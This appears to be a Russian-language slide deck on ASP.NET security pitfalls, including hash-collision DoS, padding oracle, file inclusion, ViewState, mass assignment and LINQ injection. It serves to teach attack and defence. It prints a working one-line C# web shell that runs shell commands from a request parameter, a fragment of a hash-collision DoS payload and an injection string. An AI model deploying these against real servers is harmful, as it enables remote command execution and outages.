  • 9. «Turkish I» и не только Сравнение строк без учета текущей культуры, может привести к непредвиденным последствиям: Английские культуры: I & i Турецкие культуры: I & ı + İ & i <%@ Page Language="C#" Culture="Auto" %> <%@ Import Namespace="System.Globalization" %> <! DOCTYPE html> … <script runat="server"> … if (Session["mode"].ToLower() != "admin") … if (String.Compare(Request["path"]), 0, "FILE:", 0, 5, true) …
  • 10. Коллизии хэшей объектов System.Object.GetHashCode() - возвращает 32-разрядный хэш-код объекта (принимает значения от -2147483648 до 2147483647). (http://blogs.msdn.com/b/ericlippert/archive/2010/03/22/socks-birthdays-and-hash-collisions.aspx)
  • 11. Коллизии хэшей в ASP.NET (MS11-100) Штатная ситуация: Не очень штатная ситуация: 3QBZJK5ZX=&NEUQ7BWAV6=&6902D0YP6J=&9PZGHCDJYD=&NU73S3KNV=&IF686YJQJ8K=&9XUUCJEENJ=&F X4A75F91FM=&IGJKQVBZAVK=&LJVJV6J3UZ=&X7GJ5MWXY=&6AVIZWTVK=&WQNIQ7OZMS=&IM1VKMZHK6F=& DO9WX2R9H=&RYLZSIQT8V=&KR9BBFUH2E=&UI8N4SWVWW=&TL5F6URVPP=&B1P81FWDSVV=&CM6Y80XSAO=& LE72GBPWB=&EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST36DRX=&JR YRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=& MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E= =&VGJPMCQHP=&AV6THWSCA7=&MH5SM8NPWB1=&P57KEP668X=&81C4LQ4DFY=&MPJBASYMRM=&25EWGNN5NE … over 4Mb form data … (https://github.com/HybrisDisaster/aspHashDoS)
  • 12. Хитрый план (post-mortem MS11-100) 1. Рассчитываем 1000 строк с коллизиями на каждую комбинацию «версия .NET»/«аппаратная платформа» 2. Отправляем каждый из наборов в качестве параметров POST-запроса 3. Замеряем время ответа на каждый запрос 4. ??? 5. ;)
  • 15. Специфика ASP.NET Специальные каталоги и файлы: - App_Browser – определения браузеров (*.browsers); - App_Code – исходный код вспомогательных классов и логики; - App_Data – хранилища данных; - App_GlobalResources, App_LocalResources – ресурсы приложения (*.resx, *.resources); - App_Themes – темы (*.skin, *.css, images, etc); - App_WebReferences – ссылки на web-сервисы (*.wsdl, *.xsd, *.disco, *.discomap); - Bin – скомпилированные сборки, используемые приложением; - web.config, web.*.config – конфигурационные файлы, определяющие настройки web-сервера и приложения.
  • 16. Специфика ASP.NET Стандартные HTTP-обработчики: - WebResource.axd – доступ к статическим ресурсам, внедренным в сборки приложения. - ScriptResource.axd – доступ к скриптам js, внедренным в сборки или хранящимся на диске. Использование: http://hostname/*Resource.axd?d=<resourceId>&t=<timestamp> Пример: http://hostname/ScriptResource.axd?d=JuN78WBP_dBUR_BT9LH1wlP 8mXnNcENfktCX8YwH3sHG7wWwvn73TZaaChQhQtyzip3- kumGx1U67ntTt0sXKCn22VGvaQ3V4mXtCFgW9M1 Где d, зашифрованный параметр: Q|~/Scripts/Script1.js,~/Scripts/Script2.js,~/Scripts/Script3.js|#|21c3 8a3a9b
  • 17. Padding oracle (MS10-070) Последствия: – получение ключей, необходимых для шифрования/дешифрования:  аутентификационных cookies;  ViewState и Event Validation;  аргументов для WebRecource.axd и ScriptResource.axd => чтение произвольных файлов внутри каталога приложения Исправления:  при ошибке паддинга возвращается обощенная ошибка;  используется случайное число в качестве IV;  изменен формат шифруемых строк для их валидации;  ScriptResource.axd может обрабатывать только *.js файлы.
  • 18. Специфика ASP.NET Стандартные HTTP-обработчики: - Trace.axd – трассировка запросов (доступна только в режиме отладки)
  • 19. Особенности эксплуатации LFI Response.WriteFile(<vfilename>) - позволяет включать любой файл внутри каталога приложения, кроме *.config; - файл включается статически, выполнения кода не происходит; - принимает в качестве аргумента виртуальное имя файла. Server.Execute(<vfilename>) - позволяет включать любой файл внутри каталога приложения, кроме *.config; - выполняет обработчик для переданного файла, результат включает в ответ; - принимает в качестве аргумента виртуальное имя файла. File.ReadAllText(<filename>) - позволяет включать любой файл, на который есть права; - файл включается статически, выполнения кода не происходит; - принимает в качестве аргумента реальное имя файла.
  • 20. Минимальный C#-шелл <%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <%= Process.Start( new ProcessStartInfo( "cmd","/c " + Request["c"] ) { UseShellExecute = false, RedirectStandardOutput = true } ).StandardOutput.ReadToEnd() %>
  • 21. Состояние представления (ViewState) Предназначено для передачи на сервер информации об элементах представления. - передается в параметре __VIEWSTATE; - шифрование и целостность часто не обеспечиваются; - используется разработчиками, для хранения данных сессии на клиенте, хотя не предназначено для этого; - нарушение его целостности может привести к реализации самых разнообразных угроз от XSS до нарушения функциональности приложения.
  • 22. Подтверждение запросов и событий Request Validation – встроенный примитивный WAF, направленный на предотвращение атак XSS. Блокируются все запросы, содержащие: &# < с последующей буквой, !, / и ? А также, игнорируются сторонние параметры, начинающиеся с __ Event Validation – встроенный механизм валидации данных событий. Представляет собой параметр __EVENTVALIDATION, хранящий хэши допустимых значений элементов форм, событий, ViewState и т.п. Вопреки бытующему мнению, неэффективен против CSRF-атак, при стандартной реализации.
  • 23. Mass assignment public class User { public int Id { get; set; } public string UserName { get; set; } public string Password { get; set; } public bool IsAdmin { get; set; } } public class UserController : Controller { IUserRepository _userRepository; public UserController(IUserRepository userRepository) { _userRepository = userRepository; } public ActionResult Edit(int id) { var user = _userRepository.GetUserById(id); return View(user); } [HttpPost] public ActionResult Edit(int id, FormCollection collection) { try { var user = _userRepository.GetUserById(id); UpdateModel(user); _userRepository.SaveUser(user); return RedirectToAction("Index"); } catch { return View(); } } } Model: Controller:
  • 25. Внедрение выражений LINQ LINQ – язык запросов, встроенный в синтаксис .NET-языков. var result = from item in itemsList where item.field1 % 2 == 0 orderby item.field2 descending select new { item.field2, item.field3 }; var result = itemsList .Where(x => x.field1 % 2 == 0) .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2); Expression.Lambda<Predicate<int>>( Expression.Equal( Expression.Modulo( parameterN, Expression.Constant(2) ), Expression.Constant(0) ), parameterN);
  • 26. Внедрение выражений LINQ Dynamic LINQ – одна из нескольких существующих библиотек для формирования динамических LINQ-запросов времени исполнения. Возможности: - определение выражений строками; - основные примитивные операции; - доступ к членам статических и экземплярных типов данных; - создание экземпляров типов и анонимных типов; Что, если "modifier" формируется из входных данных и содержит: 0 OR 1 == 1 ? var modifier = "0"; var result = itemsList .Where("field1 % 2 == " + modifier) .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2);
  • 27. Внедрение выражений LINQ Ограничения инъекций в Dynamic LINQ: - доступ к полям, свойствам и методам возможен только для типа коллекции или для достижимых типов, определяемых «белым списком»; - все части выражения должны выполняться без ошибок, в сообщениях об ошибках отсутствует полезный вывод; - инъекции подвержены изолированные части запроса; Возможности инъекций в Dynamic LINQ: - обход аутентификации / авторизации; - неавторизованный доступ к данным коллекции; - нарушение функционала (при наличии у объектов коллекции statefull- полей); - реализация угрозы отказа в обслуживании (DoS). В других решениях возможна реализация угрозы удаленного выполнения кода (RCE)